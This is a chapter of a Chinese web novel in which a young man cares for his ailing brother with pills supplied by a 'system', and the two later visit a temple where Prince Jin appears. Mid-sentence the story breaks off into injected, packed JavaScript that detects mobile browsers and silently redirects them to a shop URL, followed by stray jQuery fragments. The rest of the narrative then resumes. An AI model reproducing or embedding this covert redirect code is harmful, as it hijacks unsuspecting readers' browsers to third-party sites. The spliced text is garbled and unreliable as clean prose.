34.第 34 章

作品:《脏月光

    虞天念蹲在灶膛前,摇着蒲扇,炉火明明灭灭,映得他那双盯着药罐的眼睛有些发空。


    “系统,灵芝丹只能延命吗?什么时候能彻底治好他?”


    【灵芝丹的效果是会产生质变的,服到第三颗,便能阻止病情恶化;待到第六颗,他的行动便可与常人无异】


    虞天念黯淡的眸子亮起了一簇光:“也就是说,我哥不会再像之前那样生命垂危了?”


    【理论上是这样,不排除日后有复发的可能】


    那点光亮黯淡下去,虞天念垂下眼帘,低声喃喃:“这病到底是怎么回事?”


    【我也看不出来】


    虞天念眼眸微动,系统向来惜字如金,几乎不说与任务无关的废话,他不动声色地追问:“你觉得,我哥患的是什么病?”


    系统沉默了一会儿【我能看出世间大部分病症,你哥这个显然不在正常的病理范畴内,依我看……这更像是一种被消除的状态。】


    “被消除的状态?”虞天念一愣,急切地追问,“什么意思?你说清楚!”


    系统不再做声。


    虞天念心里一阵郁闷,但也知道自己在系统面前毫无办法,他深吸一口气,将煎好的药倒进碗里,端起来往外走。


    屋内,虞天怆正靠在软枕上,手里捧着一卷书,午后的阳光倾洒在他清俊的侧脸上,勾勒出安宁祥和的轮廓,看得虞天念在门口顿住了脚步。


    这半个月来,他一直在细心照料虞天怆,原本常年病容缠身的虞天怆,气色肉眼可见地好了起来,这还是虞天念一次看到哥哥病情有如此明显转好的迹象。


    虞天念端着药走进去,将碗搁在桌案上,随即一把抽走了虞天怆手中的书,“哥,你现在应该好好养病,少看这些书,费神。”


    虞天怆无奈地笑着看他,任由他拿走书,虞天念坐在床边,拿起勺子舀了一勺药,放在唇边细细吹凉,随后递到虞天怆嘴边,示意:“啊——”


    虞天怆有些无奈,伸手想去端碗:“我自己喝就行。”


    虞天念手腕一缩,“你现在双手都用不上劲儿,还是我喂你吧。”


    虞天怆似笑非笑:“哥哥现在手还是有劲儿的,不信念儿试试看?”


    虞天念才不理他的试探,不由分说将勺子凑到他唇边,语气笃定:“哥哥喝了药,我就与你试。”


    虞天怆只好张开嘴,将那苦涩的药汁咽了下去,虞天念就这样一勺一勺耐心喂着,神情专注,丝毫不觉得有何不妥。直到碗见了底,他才将空碗放到一旁,拿起帕子,一手按在虞天怆腿边,身子前倾,就要亲自替他擦嘴。


    手腕忽然被一只温热的手掌扣住,确实是有些力气的,稳稳地制住了他的动作。


    “这种事,我自己来就行。”虞天念感受到手腕上传来的力道,撇了撇嘴,乖乖将手帕交给他,虞天怆接过帕子,慢慢地仔细擦了擦嘴角。


    还没等他放下手,虞天念那头已经剥好了一颗蜜饯,眼巴巴地递到了他嘴边。


    虞天怆眼角弯起,笑眯眯地就着他的手含住蜜饯,笑道:“果然还是念儿最疼哥哥了。”


    将那颗蜜饯嚼碎咽下,虞天怆撑着床沿,想要起身下床,“哥!”虞天念眼疾手快,忙扶住他的胳膊。


    虞天怆稳稳地反手握住他的小臂,指尖温热,力道虽不重,却带着坚持:“哥哥躺得太久,实在是想下床走动走动,透透气。”


    虞天念犹豫了,他看着虞天怆这几日确实好了许多的气色,想起汤太医也提过久卧伤气,适时活动筋骨有益康复,只好道:“哥你等一下,我去拿件外裳。”


    他转身取了旁边衣架上挂着的月白色夹棉外裳,回来小心地给虞天怆披上,又凑近替他扣好领口的盘扣,指尖不经意擦过他微凉的脖颈,轻声道:“这三月的天,早晚还是有些凉的,哥哥要多注意着些,莫要受了风。”


    给虞天怆穿好衣服,虞天念才示意他抓着自己的手臂,自己则微微弯着腰,用肩膀承托着他一部分重量,带着他慢慢地、一步一步地挪下了床。


    虞天怆感受着虞天念小心翼翼的搀扶,看着他低垂的眉眼和专注的神情,心头一暖,却又泛起一丝不易察觉的暗淡,但很快,这丝暗淡便被嘴角勾起的轻笑所掩盖。他配合着虞天念的步伐,慢慢走出了屋子,来到了外头的阳光下。


    虞天怆的院子向来清幽,并未栽种多少花花草草,只有几竿翠竹和几株疏朗的梅树。此刻正午的阳光正好,金灿灿地铺洒下来,晒得人通体舒畅。虞天怆眯了眯眼睛,感受着久违的暖意,随着虞天念在院子里慢慢地踱步。


    走了几步,他像是随口一问,目光却落在虞天念的侧脸上:“念儿,你之前喂我的那几次丹药……都是哪里来的?”


    这个问题在虞天念的意料之中,他知道虞天怆必然会问起,只是没想到他会拖到现在才问,早已备好的答案在心头过了一遍,他流利地回答:“那是皇家的秘传丹方,我之前与燕王有些交集,便是想向他寻药。后来我又帮了晋王殿下,所以那日才从他那里拿到了那颗丹药。”


    说到这儿,虞天念抬起头,对着虞天怆笑起来,那笑容明朗而纯粹,甚至咧出了整齐的牙齿,眼睛弯成了月牙,心情愉快道:“看到哥哥如今能好起来,念儿之前做的努力便都不算白费了。”


    看着虞天念这般真挚喜悦的模样,虞天怆心头那点因他卷入皇家纷争而产生的忧虑,此刻竟有些说不出口了,只能轻轻地将手覆盖在虞天念扶着他的手背上,慢慢握紧,眼中露出深深的怜惜,轻声道:“念儿这些日子……吃苦了。”


    被虞天怆握住的手指轻轻蜷了一下,虞天念的神色有些躲闪,但还是反过手,抓住虞天怆的手心,轻声道:“哥哥,念儿绝不能看着你离开,念儿知道哥哥不想我被卷进皇家的纠纷,但念儿更加不想看哥哥离开。”


    虞天怆的心猛地一抽痛,“念儿别怕,哥不会走了。”


    虞天念轻轻点了点头,虞天怆看着虞天念依旧有些低落迷茫的模样,忽然侧过身,迈了一步,张开双臂,将虞天念轻轻拥入怀中,用这个温暖的怀抱,让虞天念真切地感受到自己的存在和温度,在他耳边柔声问:“这样有好一些吗?”


    虞天念冷不丁被虞天怆抱住,双眸微微睁大,手臂有些不知所措地悬在半空,带着些小心翼翼,才慢慢环住了虞天怆的腰,有点不好意思地抿了抿唇,脸颊贴在他带着药香的衣襟上,小声说:“嗯,有好一些。”


    虞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399592|197844||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天怆笑了笑,那低沉的笑音在虞天念的耳边轻轻震颤,有些痒,似乎是阳光太过明媚,又或许是这个拥抱太过安心,虞天念的脸颊悄悄爬上了一层薄红。


    虞天怆稍稍松开他,仍保持着相拥的姿势,认真地看着虞天念的眼眸,伸出手指,轻轻碰了碰他的下巴和微红的脸颊,笑着轻松了下气氛:“念儿越长越好看了。”


    虞天念故意将脸埋进虞天怆的肩头,闭着眼睛,小声嘀咕:“反正念儿只是哥哥的念儿。”


    虞天怆笑着,感受着虞天念的依赖,眼眸却不由自主地看向远方,目光有些悠远,似乎是真的下定了某种决心,他轻轻拍了拍虞天念的肩头,道:“我明天想去一趟慈云寺。”


    “不行!”虞天念立刻抬起头,语气急切,“太远了,哥你身体吃不消的!”


    虞天怆的声音平和而坚定:“我在慈云寺许了愿,如今病情好转,自然得去还愿。我这几日已经抄好了几份经书,放心,就去一会儿,很快就会回来的。念儿同我一起去吧。”


    虞天念知道,虞天怆以前身体尚可时,确实常去慈云寺祈福,几乎月月都去。如今他这么说了,自己也觉得,于情于理,都应该去还愿,况且有自己陪着,总归能照应着。


    于是他犹豫片刻,最终还是点了点头:“好,哥,我和你一起去。”


    慈云寺隐于青山翠谷之间,晨钟暮鼓,梵音袅袅,寺中的香客络绎不绝,或虔诚跪拜,或低声诵经,或驻足于庭院中,静观花开花落。


    山门外,一条蜿蜒的石阶小径两侧,桃树成林,正值盛放时节,粉白的花瓣如云似霞,随风轻舞,片片飘落,铺就一条□□,从山门一直延伸至寺外,仿佛天地间织就的一匹薄红锦缎,裹住了整座古刹。


    虞家的青帷马车缓缓停在山门前,车轮碾过落花,发出细微的沙沙声,车帘掀开,虞天念先一步下车,回身小心翼翼地扶住虞天怆的手臂。虞天怆穿了一袭素青长袍,外罩月白夹袄,气色虽仍显清瘦,但眉目间已无往日沉郁的病态,反倒透出几分温润如玉的宁静。


    虞天怆扶着虞天念的手,一步一步踏上石阶,步履虽缓,却稳而坚定,虞天念始终侧身护在他身侧,目光不时扫过他脚下,生怕他踏空或劳累,两人并肩而行,身影在花影婆娑中显得格外清逸,引得路过的香客频频侧目。


    入得寺中,檀香缭绕,钟声悠远,虞天念与虞天怆一同在佛前跪下,双膝轻落于蒲团之上,双手合十,虔诚上香。虞天怆闭目良久,似在感恩,又似在祈愿,虞天念则时而轻轻瞥向哥哥的侧脸。


    礼佛完毕,虞天怆将早已抄写好的几卷经书亲手交予住持,经书以素绢为封,字迹清隽工整,墨香犹存。住持双手接过,神色肃然,微微颔首:“虞公子诚心还愿,乃慈云寺之幸。”


    虞天怆又命人奉上香火钱,数目不菲,轻描淡写道:“聊表寸心,愿众生得安。”


    因是还愿之礼,住持特命僧众为虞天怆诵经书,以祈安康,虞天念独自立于殿外回廊下,望着庭院中纷飞的桃花,心绪微澜,他正出神间,眼角却冷不丁瞥见一道熟悉的身影。


    那人一袭玄色锦袍,腰系玉带,负手立于桃树下,身姿挺拔如松,眉目深邃,正是晋王徐承。